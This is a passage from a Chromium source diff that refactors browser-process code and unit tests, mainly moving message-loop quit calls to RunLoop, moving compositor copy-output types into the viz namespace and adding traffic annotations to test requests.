                        current_foreground_worker_pool_params.max_threads()),
               current_foreground_worker_pool_params.suggested_reclaim_time(),
diff --git a/content/browser/browser_main_runner.cc b/content/browser/browser_main_runner.cc
index d770c3d..bddc432d 100644
--- a/content/browser/browser_main_runner.cc
+++ b/content/browser/browser_main_runner.cc
@@ -210,7 +210,7 @@
       // proper shutdown for content_browsertests. Shutdown() is not used by
       // the actual browser.
       if (base::RunLoop::IsRunningOnCurrentThread())
-        base::MessageLoop::current()->QuitNow();
+        base::RunLoop::QuitCurrentDeprecated();
   #endif
       main_loop_.reset(NULL);
 
diff --git a/content/browser/browser_thread_unittest.cc b/content/browser/browser_thread_unittest.cc
index 9eb6f1f..ddd89e65 100644
--- a/content/browser/browser_thread_unittest.cc
+++ b/content/browser/browser_thread_unittest.cc
@@ -159,8 +159,7 @@
   // task runner test.  This just makes sure we get piped through at all.
   ASSERT_TRUE(BrowserThread::PostTaskAndReply(
       BrowserThread::FILE, FROM_HERE, base::Bind(&base::DoNothing),
-      base::Bind(&base::MessageLoop::QuitWhenIdle,
-                 base::Unretained(base::MessageLoop::current()->current()))));
+      base::Bind(&base::RunLoop::QuitCurrentWhenIdleDeprecated)));
   base::RunLoop().Run();
 }
 
diff --git a/content/browser/browsing_data/browsing_data_remover_impl_unittest.cc b/content/browser/browsing_data/browsing_data_remover_impl_unittest.cc
index 403c0ba..36c89a44 100644
--- a/content/browser/browsing_data/browsing_data_remover_impl_unittest.cc
+++ b/content/browser/browsing_data/browsing_data_remover_impl_unittest.cc
@@ -533,7 +533,7 @@
     // destroyed, and that the message loop is cleared out, before destroying
     // the threads and loop. Otherwise we leak memory.
     browser_context_.reset();
-    base::RunLoop().RunUntilIdle();
+    RunAllBlockingPoolTasksUntilIdle();
   }
 
   void BlockUntilBrowsingDataRemoved(const base::Time& delete_begin,
@@ -1404,7 +1404,7 @@
   // sure we do not complete asynchronously before ContinueToCompletion() is
   // called.
   completion_inhibitor.BlockUntilNearCompletion();
-  base::RunLoop().RunUntilIdle();
+  RunAllBlockingPoolTasksUntilIdle();
 
   // Verify that the removal has not yet been completed and the observer has
   // not been called.
@@ -1611,6 +1611,9 @@
   }
 
   EXPECT_FALSE(remover->is_removing());
+
+  // Run clean up tasks.
+  RunAllBlockingPoolTasksUntilIdle();
 }
 
 // The previous test, BrowsingDataRemoverTest.MultipleTasks, tests that the
diff --git a/content/browser/browsing_data/clear_site_data_throttle_unittest.cc b/content/browser/browsing_data/clear_site_data_throttle_unittest.cc
index c605b3c..4782f3c 100644
--- a/content/browser/browsing_data/clear_site_data_throttle_unittest.cc
+++ b/content/browser/browsing_data/clear_site_data_throttle_unittest.cc
@@ -17,6 +17,7 @@
 #include "content/public/test/test_browser_thread_bundle.h"
 #include "net/base/load_flags.h"
 #include "net/http/http_util.h"
+#include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
 #include "net/url_request/redirect_info.h"
 #include "net/url_request/url_request_job.h"
 #include "net/url_request/url_request_test_util.h"
@@ -150,8 +151,8 @@
   // Create a URL request.
   GURL url("https://www.example.com");
   net::TestURLRequestContext context;
-  std::unique_ptr<net::URLRequest> request(
-      context.CreateRequest(url, net::DEFAULT_PRIORITY, nullptr));
+  std::unique_ptr<net::URLRequest> request(context.CreateRequest(
+      url, net::DEFAULT_PRIORITY, nullptr, TRAFFIC_ANNOTATION_FOR_TESTS));
 
   // We will not create the throttle for an empty ResourceRequestInfo.
   EXPECT_FALSE(
@@ -223,8 +224,8 @@
     // Test that a call with the above parameters actually reaches
     // ExecuteClearingTask().
     net::TestURLRequestContext context;
-    std::unique_ptr<net::URLRequest> request(
-        context.CreateRequest(url, net::DEFAULT_PRIORITY, nullptr));
+    std::unique_ptr<net::URLRequest> request(context.CreateRequest(
+        url, net::DEFAULT_PRIORITY, nullptr, TRAFFIC_ANNOTATION_FOR_TESTS));
     TestThrottle throttle(request.get(),
                           base::MakeUnique<ConsoleMessagesDelegate>());
     MockResourceThrottleDelegate delegate;
@@ -291,7 +292,8 @@
 TEST_F(ClearSiteDataThrottleTest, LoadDoNotSaveCookies) {
   net::TestURLRequestContext context;
   std::unique_ptr<net::URLRequest> request(context.CreateRequest(
-      GURL("https://www.example.com"), net::DEFAULT_PRIORITY, nullptr));
+      GURL("https://www.example.com"), net::DEFAULT_PRIORITY, nullptr,
+      TRAFFIC_ANNOTATION_FOR_TESTS));
   std::unique_ptr<ConsoleMessagesDelegate> scoped_console_delegate(
       new ConsoleMessagesDelegate());
   const ConsoleMessagesDelegate* console_delegate =
@@ -352,8 +354,9 @@
   net::TestURLRequestContext context;
 
   for (const TestCase& test_case : kTestCases) {
-    std::unique_ptr<net::URLRequest> request(context.CreateRequest(
-        GURL(test_case.origin), net::DEFAULT_PRIORITY, nullptr));
+    std::unique_ptr<net::URLRequest> request(
+        context.CreateRequest(GURL(test_case.origin), net::DEFAULT_PRIORITY,
+                              nullptr, TRAFFIC_ANNOTATION_FOR_TESTS));
     std::unique_ptr<ConsoleMessagesDelegate> scoped_console_delegate(
         new ConsoleMessagesDelegate());
     const ConsoleMessagesDelegate* console_delegate =
@@ -455,8 +458,9 @@
                                       test_origin.origin, test_case.stage,
                                       test_case.response_headers.c_str()));
 
-      std::unique_ptr<net::URLRequest> request(context.CreateRequest(
-          GURL(test_origin.origin), net::DEFAULT_PRIORITY, nullptr));
+      std::unique_ptr<net::URLRequest> request(
+          context.CreateRequest(GURL(test_origin.origin), net::DEFAULT_PRIORITY,
+                                nullptr, TRAFFIC_ANNOTATION_FOR_TESTS));
       TestThrottle throttle(request.get(),
                             base::MakeUnique<ConsoleMessagesDelegate>());
       throttle.SetResponseHeaders(test_case.response_headers);
@@ -560,8 +564,9 @@
     SCOPED_TRACE(navigation ? "Navigation test." : "Subresource test.");
 
     net::TestURLRequestContext context;
-    std::unique_ptr<net::URLRequest> request(context.CreateRequest(
-        GURL(kTestCases[0].url), net::DEFAULT_PRIORITY, nullptr));
+    std::unique_ptr<net::URLRequest> request(
+        context.CreateRequest(GURL(kTestCases[0].url), net::DEFAULT_PRIORITY,
+                              nullptr, TRAFFIC_ANNOTATION_FOR_TESTS));
     ResourceRequestInfo::AllocateForTesting(
         request.get(),
         navigation ? RESOURCE_TYPE_SUB_FRAME : RESOURCE_TYPE_IMAGE, nullptr, 0,
diff --git a/content/browser/cache_storage/cache_storage_cache_unittest.cc b/content/browser/cache_storage/cache_storage_cache_unittest.cc
index e0df369..32f2d2d 100644
--- a/content/browser/cache_storage/cache_storage_cache_unittest.cc
+++ b/content/browser/cache_storage/cache_storage_cache_unittest.cc
@@ -354,7 +354,7 @@
     quota_policy_ = new MockSpecialStoragePolicy;
     mock_quota_manager_ = new MockQuotaManager(
         is_incognito, temp_dir_path, base::ThreadTaskRunnerHandle::Get().get(),
-        base::ThreadTaskRunnerHandle::Get().get(), quota_policy_.get());
+        quota_policy_.get());
     mock_quota_manager_->SetQuota(GURL(kOrigin), storage::kStorageTypeTemporary,
                                   1024 * 1024 * 100);
 
diff --git a/content/browser/cache_storage/cache_storage_manager_unittest.cc b/content/browser/cache_storage/cache_storage_manager_unittest.cc
index 72afefa..8540496 100644
--- a/content/browser/cache_storage/cache_storage_manager_unittest.cc
+++ b/content/browser/cache_storage/cache_storage_manager_unittest.cc
@@ -191,7 +191,7 @@
     quota_policy_ = new MockSpecialStoragePolicy;
     mock_quota_manager_ = new MockQuotaManager(
         MemoryOnly(), temp_dir_path, base::ThreadTaskRunnerHandle::Get().get(),
-        base::ThreadTaskRunnerHandle::Get().get(), quota_policy_.get());
+        quota_policy_.get());
     mock_quota_manager_->SetQuota(
         GURL(origin1_), storage::kStorageTypeTemporary, 1024 * 1024 * 100);
     mock_quota_manager_->SetQuota(
diff --git a/content/browser/compositor/reflector_impl.cc b/content/browser/compositor/reflector_impl.cc
index 08292d6..69b3639 100644
--- a/content/browser/compositor/reflector_impl.cc
+++ b/content/browser/compositor/reflector_impl.cc
@@ -159,7 +159,8 @@
   if (layer_data->needs_set_mailbox) {
     layer_data->layer->SetTextureMailbox(
         viz::TextureMailbox(mailbox_->holder()),
-        cc::SingleReleaseCallback::Create(base::Bind(ReleaseMailbox, mailbox_)),
+        viz::SingleReleaseCallback::Create(
+            base::Bind(ReleaseMailbox, mailbox_)),
         source_size);
     layer_data->needs_set_mailbox = false;
   } else {
diff --git a/content/browser/compositor/reflector_impl_unittest.cc b/content/browser/compositor/reflector_impl_unittest.cc
index 94f97a4..1d2bc41 100644
--- a/content/browser/compositor/reflector_impl_unittest.cc
+++ b/content/browser/compositor/reflector_impl_unittest.cc
@@ -170,7 +170,7 @@
     if (reflector_)
       reflector_->RemoveMirroringLayer(mirroring_layer_.get());
     viz::TextureMailbox mailbox;
-    std::unique_ptr<cc::SingleReleaseCallback> release;
+    std::unique_ptr<viz::SingleReleaseCallback> release;
     if (mirroring_layer_->PrepareTextureMailbox(&mailbox, &release)) {
       release->Run(gpu::SyncToken(), false);
     }
diff --git a/content/browser/compositor/surface_utils.cc b/content/browser/compositor/surface_utils.cc
index 1d6b7ff..4ec7e2c 100644
--- a/content/browser/compositor/surface_utils.cc
+++ b/content/browser/compositor/surface_utils.cc
@@ -8,9 +8,9 @@
 #include "base/callback_helpers.h"
 #include "base/sequenced_task_runner.h"
 #include "build/build_config.h"
-#include "cc/output/copy_output_result.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/viz/common/gl_helper.h"
+#include "components/viz/common/quads/copy_output_result.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/host/host_frame_sink_manager.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
 #include "content/browser/browser_main_loop.h"
@@ -33,7 +33,7 @@
 #if !defined(OS_ANDROID) || defined(USE_AURA)
 void CopyFromCompositingSurfaceFinished(
     const content::ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     std::unique_ptr<SkBitmap> bitmap,
     bool result) {
   gpu::SyncToken sync_token;
@@ -59,7 +59,7 @@
     const gfx::Size& dst_size_in_pixel,
     const SkColorType color_type,
     const content::ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
 #if defined(OS_ANDROID) && !defined(USE_AURA)
   // TODO(wjmaclean): See if there's an equivalent pathway for Android and
   // implement it here.
@@ -90,7 +90,7 @@
   uint8_t* pixels = static_cast<uint8_t*>(bitmap->getPixels());
 
   viz::TextureMailbox texture_mailbox;
-  std::unique_ptr<cc::SingleReleaseCallback> release_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback;
   result->TakeTexture(&texture_mailbox, &release_callback);
   DCHECK(texture_mailbox.IsTexture());
 
@@ -109,7 +109,7 @@
     const gfx::Size& dst_size_in_pixel,
     const SkColorType preferred_color_type,
     const content::ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   SkColorType color_type = preferred_color_type;
   if (color_type != kN32_SkColorType && color_type != kAlpha_8_SkColorType) {
     // Switch back to default colortype if format not supported.
@@ -190,7 +190,7 @@
     const gfx::Size& dst_size_in_pixel,
     const SkColorType color_type,
     const ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (result->IsEmpty() || result->size().IsEmpty()) {
     callback.Run(SkBitmap(), READBACK_FAILED);
     return;
diff --git a/content/browser/compositor/surface_utils.h b/content/browser/compositor/surface_utils.h
index 84fea81..3e1bd89 100644
--- a/content/browser/compositor/surface_utils.h
+++ b/content/browser/compositor/surface_utils.h
@@ -18,11 +18,8 @@
 class SingleThreadTaskRunner;
 }
 
-namespace cc {
-class CopyOutputResult;
-}  // namespace cc
-
 namespace viz {
+class CopyOutputResult;
 class FrameSinkManagerImpl;
 class HostFrameSinkManager;
 class FrameSinkManagerImpl;
@@ -40,7 +37,7 @@
     const gfx::Size& dst_size_in_pixel,
     const SkColorType color_type,
     const ReadbackRequestCallback& callback,
-    std::unique_ptr<cc::CopyOutputResult> result);
+    std::unique_ptr<viz::CopyOutputResult> result);
 
 namespace surface_utils {
 
diff --git a/content/browser/device_sensors/device_sensor_browsertest.cc b/content/browser/device_sensors/device_sensor_browsertest.cc
index ef16d38..c9cc0583 100644
--- a/content/browser/device_sensors/device_sensor_browsertest.cc
+++ b/content/browser/device_sensors/device_sensor_browsertest.cc
@@ -5,6 +5,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/synchronization/waitable_event.h"
 #include "base/threading/platform_thread.h"
 #include "build/build_config.h"
@@ -260,7 +261,7 @@
 
   void DelayAndQuit(base::TimeDelta delay) {
     base::PlatformThread::Sleep(delay);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void WaitForAlertDialogAndQuitAfterDelay(base::TimeDelta delay) {
diff --git a/content/browser/devtools/protocol/devtools_protocol_browsertest.cc b/content/browser/devtools/protocol/devtools_protocol_browsertest.cc
index c8d05ab..612c1f9 100644
--- a/content/browser/devtools/protocol/devtools_protocol_browsertest.cc
+++ b/content/browser/devtools/protocol/devtools_protocol_browsertest.cc
@@ -369,7 +369,7 @@
       in_dispatch_ = false;
       if (id && id == waiting_for_command_result_id_) {
         waiting_for_command_result_id_ = 0;
-        base::MessageLoop::current()->QuitNow();
+        base::RunLoop::QuitCurrentDeprecated();
       }
     } else {
       std::string notification;
@@ -386,7 +386,7 @@
         waiting_for_notification_ = std::string();
         waiting_for_notification_params_ = base::WrapUnique(
             notification_params_[notification_params_.size() - 1]->DeepCopy());
-        base::MessageLoop::current()->QuitNow();
+        base::RunLoop::QuitCurrentDeprecated();
       }
     }
   }
@@ -1196,7 +1196,7 @@
 
     num_finished_++;
     if (num_finished_ >= num_to_wait_for_ && num_to_wait_for_ != 0) {
-      base::MessageLoop::current()->QuitNow();
+      base::RunLoop::QuitCurrentDeprecated();
     }
   }
 
diff --git a/content/browser/devtools/site_per_process_devtools_browsertest.cc b/content/browser/devtools/site_per_process_devtools_browsertest.cc
index 2d9ad30..021ee0b 100644
--- a/content/browser/devtools/site_per_process_devtools_browsertest.cc
+++ b/content/browser/devtools/site_per_process_devtools_browsertest.cc
@@ -2,7 +2,6 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "build/build_config.h"
 #include "content/browser/devtools/render_frame_devtools_agent_host.h"
@@ -42,7 +41,7 @@
       const std::string& message) override {
     if (waiting_for_reply_) {
       waiting_for_reply_ = false;
-      base::MessageLoop::current()->QuitNow();
+      base::RunLoop::QuitCurrentDeprecated();
     }
   }
 
diff --git a/content/browser/download/download_browsertest.cc b/content/browser/download/download_browsertest.cc
index 8da3ae7..f474afc0 100644
--- a/content/browser/download/download_browsertest.cc
+++ b/content/browser/download/download_browsertest.cc
@@ -288,7 +288,7 @@
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
   rename_callbacks_.push_back(callback);
   if (waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DownloadFileWithDelayFactory::GetAllRenameCallbacks(
diff --git a/content/browser/fileapi/browser_file_system_helper.cc b/content/browser/fileapi/browser_file_system_helper.cc
index f8da5a6a..23f303a4 100644
--- a/content/browser/fileapi/browser_file_system_helper.cc
+++ b/content/browser/fileapi/browser_file_system_helper.cc
@@ -13,7 +13,7 @@
 #include "base/files/file_path.h"
 #include "base/sequenced_task_runner.h"
 #include "base/strings/utf_string_conversions.h"
-#include "base/threading/sequenced_worker_pool.h"
+#include "base/task_scheduler/lazy_task_runner.h"
 #include "content/browser/child_process_security_policy_impl.h"
 #include "content/public/browser/browser_context.h"
 #include "content/public/browser/browser_thread.h"
@@ -36,11 +36,19 @@
 #include "url/gurl.h"
 #include "url/url_constants.h"
 
+using storage::FileSystemOptions;
+
 namespace content {
 
 namespace {
 
-using storage::FileSystemOptions;
+// All FileSystemContexts currently need to share the same sequence per sharing
+// global objects: https://codereview.chromium.org/2883403002#msg14.
+base::LazySequencedTaskRunner g_fileapi_task_runner =
+    LAZY_SEQUENCED_TASK_RUNNER_INITIALIZER(
+        base::TaskTraits(base::MayBlock(),
+                         base::TaskPriority::USER_VISIBLE,
+                         base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN));
 
 FileSystemOptions CreateBrowserFileSystemOptions(bool is_incognito) {
   FileSystemOptions::ProfileMode profile_mode =
@@ -63,12 +71,6 @@
     const base::FilePath& profile_path,
     bool is_incognito,
     storage::QuotaManagerProxy* quota_manager_proxy) {
-  base::SequencedWorkerPool* pool = BrowserThread::GetBlockingPool();
-  scoped_refptr<base::SequencedTaskRunner> file_task_runner =
-      pool->GetSequencedTaskRunnerWithShutdownBehavior(
-          pool->GetNamedSequenceToken("FileAPI"),
-          base::SequencedWorkerPool::SKIP_ON_SHUTDOWN);
-
   // Setting up additional filesystem backends.
   std::vector<std::unique_ptr<storage::FileSystemBackend>> additional_backends;
   GetContentClient()->browser()->GetAdditionalFileSystemBackends(
@@ -85,7 +87,7 @@
   scoped_refptr<storage::FileSystemContext> file_system_context =
       new storage::FileSystemContext(
           BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(),
-          file_task_runner.get(),
+          g_fileapi_task_runner.Get().get(),
           BrowserContext::GetMountPoints(browser_context),
           browser_context->GetSpecialStoragePolicy(), quota_manager_proxy,
           std::move(additional_backends), url_request_auto_mount_handlers,
diff --git a/content/browser/frame_host/render_frame_host_impl.cc b/content/browser/frame_host/render_frame_host_impl.cc
index 75f4d602..83ec241 100644
--- a/content/browser/frame_host/render_frame_host_impl.cc
+++ b/content/browser/frame_host/render_frame_host_impl.cc
@@ -119,6 +119,7 @@
 #include "services/device/public/cpp/device_features.h"
 #include "services/device/public/interfaces/constants.mojom.h"
 #include "services/device/public/interfaces/sensor_provider.mojom.h"
+#include "services/device/public/interfaces/vibration_manager.mojom.h"
 #include "services/device/public/interfaces/wake_lock.mojom.h"
 #include "services/device/public/interfaces/wake_lock_context.mojom.h"
 #include "services/resource_coordinator/public/cpp/resource_coordinator_features.h"
@@ -881,6 +882,7 @@
                         OnDidChangeFrameOwnerProperties)
     IPC_MESSAGE_HANDLER(FrameHostMsg_UpdateTitle, OnUpdateTitle)
     IPC_MESSAGE_HANDLER(FrameHostMsg_UpdateEncoding, OnUpdateEncoding)
+    IPC_MESSAGE_HANDLER(FrameHostMsg_DidBlockFramebust, OnDidBlockFramebust)
     IPC_MESSAGE_HANDLER(FrameHostMsg_BeginNavigation,
                         OnBeginNavigation)
     IPC_MESSAGE_HANDLER(FrameHostMsg_AbortNavigation, OnAbortNavigation)
@@ -2255,6 +2257,10 @@
   delegate_->UpdateEncoding(this, encoding_name);
 }
 
+void RenderFrameHostImpl::OnDidBlockFramebust(const GURL& url) {
+  // TODO(dgn): Hook this up to UI.
+}
+
 void RenderFrameHostImpl::OnBeginNavigation(
     const CommonNavigationParams& common_params,
     const BeginNavigationParams& begin_params) {
@@ -2974,6 +2980,10 @@
         base::Bind(&ForwardRequest<device::mojom::SensorProvider>,
                    device::mojom::kServiceName));
   }
+
+  registry_->AddInterface(
+      base::Bind(&ForwardRequest<device::mojom::VibrationManager>,
+                 device::mojom::kServiceName));
 }
 
 void RenderFrameHostImpl::ResetWaitingState() {
diff --git a/content/browser/frame_host/render_frame_host_impl.h b/content/browser/frame_host/render_frame_host_impl.h
index 51bd73b8..363aefb 100644
--- a/content/browser/frame_host/render_frame_host_impl.h
+++ b/content/browser/frame_host/render_frame_host_impl.h
@@ -770,6 +770,7 @@
   void OnUpdateTitle(const base::string16& title,
                      blink::WebTextDirection title_direction);
   void OnUpdateEncoding(const std::string& encoding);
+  void OnDidBlockFramebust(const GURL& url);
   void OnBeginNavigation(const CommonNavigationParams& common_params,
                          const BeginNavigationParams& begin_params);
   void OnAbortNavigation();
diff --git a/content/browser/frame_host/render_widget_host_view_child_frame.cc b/content/browser/frame_host/render_widget_host_view_child_frame.cc
index 11eddf31..2b34d80 100644
--- a/content/browser/frame_host/render_widget_host_view_child_frame.cc
+++ b/content/browser/frame_host/render_widget_host_view_child_frame.cc
@@ -13,8 +13,8 @@
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/host/host_frame_sink_manager.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
@@ -733,8 +733,8 @@
   DCHECK(IsSurfaceAvailableForCopy());
   DCHECK(support_);
 
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateRequest(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&CopyFromCompositingSurfaceHasResult, output_size,
                          preferred_color_type, callback));
   if (!src_subrect.IsEmpty())
diff --git a/content/browser/frame_host/render_widget_host_view_child_frame_unittest.cc b/content/browser/frame_host/render_widget_host_view_child_frame_unittest.cc
index 401d3034..0f9f497 100644
--- a/content/browser/frame_host/render_widget_host_view_child_frame_unittest.cc
+++ b/content/browser/frame_host/render_widget_host_view_child_frame_unittest.cc
@@ -30,6 +30,7 @@
 #include "content/public/browser/render_widget_host_view.h"
 #include "content/public/test/mock_render_process_host.h"
 #include "content/public/test/test_browser_context.h"
+#include "content/test/dummy_render_widget_host_delegate.h"
 #include "content/test/fake_renderer_compositor_frame_sink.h"
 #include "content/test/test_render_view_host.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -42,21 +43,6 @@
     1,
     base::UnguessableToken::Deserialize(2, 3));
 
-class MockRenderWidgetHostDelegate : public RenderWidgetHostDelegate {
- public:
-  MockRenderWidgetHostDelegate() {}
-  ~MockRenderWidgetHostDelegate() override {}
- private:
-  void ExecuteEditCommand(
-      const std::string& command,
-      const base::Optional<base::string16>& value) override {}
-
-  void Cut() override {}
-  void Copy() override {}
-  void Paste() override {}
-  void SelectAll() override {}
-};
-
 }  // namespace
 
 class MockCrossProcessFrameConnector : public CrossProcessFrameConnector {
@@ -149,7 +135,7 @@
   base::test::ScopedTaskEnvironment scoped_task_environment_;
 
   std::unique_ptr<BrowserContext> browser_context_;
-  MockRenderWidgetHostDelegate delegate_;
+  DummyRenderWidgetHostDelegate delegate_;
 
   // Tests should set these to NULL if they've already triggered their
   // destruction.
diff --git a/content/browser/frame_host/render_widget_host_view_guest_unittest.cc b/content/browser/frame_host/render_widget_host_view_guest_unittest.cc
index c67d338..c9ba4f08 100644
--- a/content/browser/frame_host/render_widget_host_view_guest_unittest.cc
+++ b/content/browser/frame_host/render_widget_host_view_guest_unittest.cc
@@ -26,6 +26,7 @@
 #include "content/public/browser/render_widget_host_view.h"
 #include "content/public/test/mock_render_process_host.h"
 #include "content/public/test/test_browser_context.h"
+#include "content/test/dummy_render_widget_host_delegate.h"
 #include "content/test/fake_renderer_compositor_frame_sink.h"
 #include "content/test/test_render_view_host.h"
 #include "content/test/test_web_contents.h"
@@ -34,21 +35,6 @@
 
 namespace content {
 namespace {
-class MockRenderWidgetHostDelegate : public RenderWidgetHostDelegate {
- public:
-  MockRenderWidgetHostDelegate() {}
-  ~MockRenderWidgetHostDelegate() override {}
-
- private:
-  // RenderWidgetHostDelegate:
-  void ExecuteEditCommand(
-      const std::string& command,
-      const base::Optional<base::string16>& value) override {}
-  void Cut() override {}
-  void Copy() override {}
-  void Paste() override {}
-  void SelectAll() override {}
-};
 
 class RenderWidgetHostViewGuestTest : public testing::Test {
  public:
@@ -93,7 +79,7 @@
   base::test::ScopedTaskEnvironment scoped_task_environment_;
 
   std::unique_ptr<BrowserContext> browser_context_;
-  MockRenderWidgetHostDelegate delegate_;
+  DummyRenderWidgetHostDelegate delegate_;
 
   // Tests should set these to NULL if they've already triggered their
   // destruction.
@@ -210,7 +196,7 @@
  protected:
   TestBrowserThreadBundle thread_bundle_;
   std::unique_ptr<BrowserContext> browser_context_;
-  MockRenderWidgetHostDelegate delegate_;
+  DummyRenderWidgetHostDelegate delegate_;
   BrowserPluginGuestDelegate browser_plugin_guest_delegate_;
   std::unique_ptr<TestWebContents> web_contents_;
   TestBrowserPluginGuest* browser_plugin_guest_;
diff --git a/content/browser/generic_sensor_browsertest.cc b/content/browser/generic_sensor_browsertest.cc
index b2e46c1..af946d440 100644
--- a/content/browser/generic_sensor_browsertest.cc
+++ b/content/browser/generic_sensor_browsertest.cc
@@ -23,6 +23,7 @@
 #include "mojo/public/cpp/system/buffer.h"
 #include "services/device/public/cpp/generic_sensor/platform_sensor_configuration.h"
 #include "services/device/public/cpp/generic_sensor/sensor_reading.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 #include "services/device/public/interfaces/constants.mojom.h"
 #include "services/device/public/interfaces/sensor.mojom.h"
 #include "services/device/public/interfaces/sensor_provider.mojom.h"
@@ -66,14 +67,19 @@
   void ConfigureReadingChangeNotifications(bool enabled) override {}
 
   device::PlatformSensorConfiguration GetDefaultConfiguration() {
-    return device::PlatformSensorConfiguration(60 /* frequency */);
+    return device::PlatformSensorConfiguration(
+        device::SensorTraits<
+            device::mojom::SensorType::AMBIENT_LIGHT>::kDefaultFrequency);
   }
 
   device::mojom::ReportingMode GetReportingMode() {
     return device::mojom::ReportingMode::ON_CHANGE;
   }
 
-  double GetMaximumSupportedFrequency() { return 60.0; }
+  double GetMaximumSupportedFrequency() {
+    return device::SensorTraits<
+        device::mojom::SensorType::AMBIENT_LIGHT>::kMaxAllowedFrequency;
+  }
   double GetMinimumSupportedFrequency() { return 1.0; }
 
   device::mojom::SensorClientRequest GetClient() {
diff --git a/content/browser/indexed_db/indexed_db_dispatcher_host_unittest.cc b/content/browser/indexed_db/indexed_db_dispatcher_host_unittest.cc
index 6311528..a1f30032 100644
--- a/content/browser/indexed_db/indexed_db_dispatcher_host_unittest.cc
+++ b/content/browser/indexed_db/indexed_db_dispatcher_host_unittest.cc
@@ -144,7 +144,6 @@
             false /*is_incognito*/,
             browser_context_.GetPath(),
             BrowserThread::GetTaskRunnerForThread(BrowserThread::IO),
-            base::ThreadTaskRunnerHandle::Get().get(),
             special_storage_policy_)),
         context_impl_(base::MakeRefCounted<IndexedDBContextImpl>(
             CreateAndReturnTempDir(&temp_dir_),
diff --git a/content/browser/indexed_db/indexed_db_quota_client_unittest.cc b/content/browser/indexed_db/indexed_db_quota_client_unittest.cc
index 8474e39..5253c7b 100644
--- a/content/browser/indexed_db/indexed_db_quota_client_unittest.cc
+++ b/content/browser/indexed_db/indexed_db_quota_client_unittest.cc
@@ -49,7 +49,6 @@
     scoped_refptr<storage::QuotaManager> quota_manager =
         new MockQuotaManager(false /*in_memory*/, browser_context_->GetPath(),
                              base::ThreadTaskRunnerHandle::Get(),
-                             base::SequencedTaskRunnerHandle::Get(),
                              browser_context_->GetSpecialStoragePolicy());
 
     idb_context_ = new IndexedDBContextImpl(
diff --git a/content/browser/loader/resource_scheduler_unittest.cc b/content/browser/loader/resource_scheduler_unittest.cc
index 6fc9cd8..99344d2 100644
--- a/content/browser/loader/resource_scheduler_unittest.cc
+++ b/content/browser/loader/resource_scheduler_unittest.cc
@@ -278,9 +278,11 @@
     params["MaxBDPKbits2"] = "160";
     params["MaxDelayableRequests2"] = "4";
 
-    base::AssociateFieldTrialParams(kTrialName, kGroupName, params);
+    ASSERT_TRUE(
+        base::AssociateFieldTrialParams(kTrialName, kGroupName, params));
     base::FieldTrial* field_trial =
         base::FieldTrialList::CreateFieldTrial(kTrialName, kGroupName);
+    ASSERT_TRUE(field_trial);
 
     std::unique_ptr<base::FeatureList> feature_list(
         base::MakeUnique<base::FeatureList>());
@@ -292,6 +294,78 @@
     scoped_feature_list->InitWithFeatureList(std::move(feature_list));
   }
 
+  void RequestLimitOverrideConfigTestHelper(bool experiment_status) {
+    base::test::ScopedFeatureList scoped_feature_list;
+    InitializeMaxDelayableRequestsExperiment(&scoped_feature_list,
+                                             experiment_status);
+
+    // Set BDP to 120 kbits, which lies in the first configuration bucket. Set
+    // the effective connection type to Slow-2G, which is slower than the
+    // threshold configured in |InitializeMaxDelayableRequestsExperiment|. Needs
+    // to be done before initializing the scheduler because the client is
+    // created on the call to |InitializeScheduler|, which is where the initial
+    // limits for the delayable requests in flight are computed.
+    network_quality_estimator_.set_bandwidth_delay_product_kbits(120);
+    network_quality_estimator_.set_effective_connection_type(
+        net::EFFECTIVE_CONNECTION_TYPE_SLOW_2G);
+    // Initialize the scheduler.
+    InitializeScheduler();
+
+    // For 2G, the typical values of RTT and bandwidth should result in the
+    // override taking effect with the experiment enabled. For this case, the
+    // new limit is 2. The limit will matter only once the page has a body,
+    // since delayable requests are not loaded before that.
+    scheduler()->OnWillInsertBody(kChildId, kRouteId);
+
+    // Throw in one high priority request to ensure that it does not matter once
+    // a body exists.
+    std::unique_ptr<TestRequest> high2(
+        NewRequest("http://host/high2", net::HIGHEST));
+    EXPECT_TRUE(high2->started());
+
+    // Should match the configuration set by
+    // |InitializeMaxDelayableRequestsExperiment|
+    const int kOverriddenNumRequests = 2;
+
+    std::vector<std::unique_ptr<TestRequest>> lows_singlehost;
+    // Queue the maximum number of delayable requests that should be started
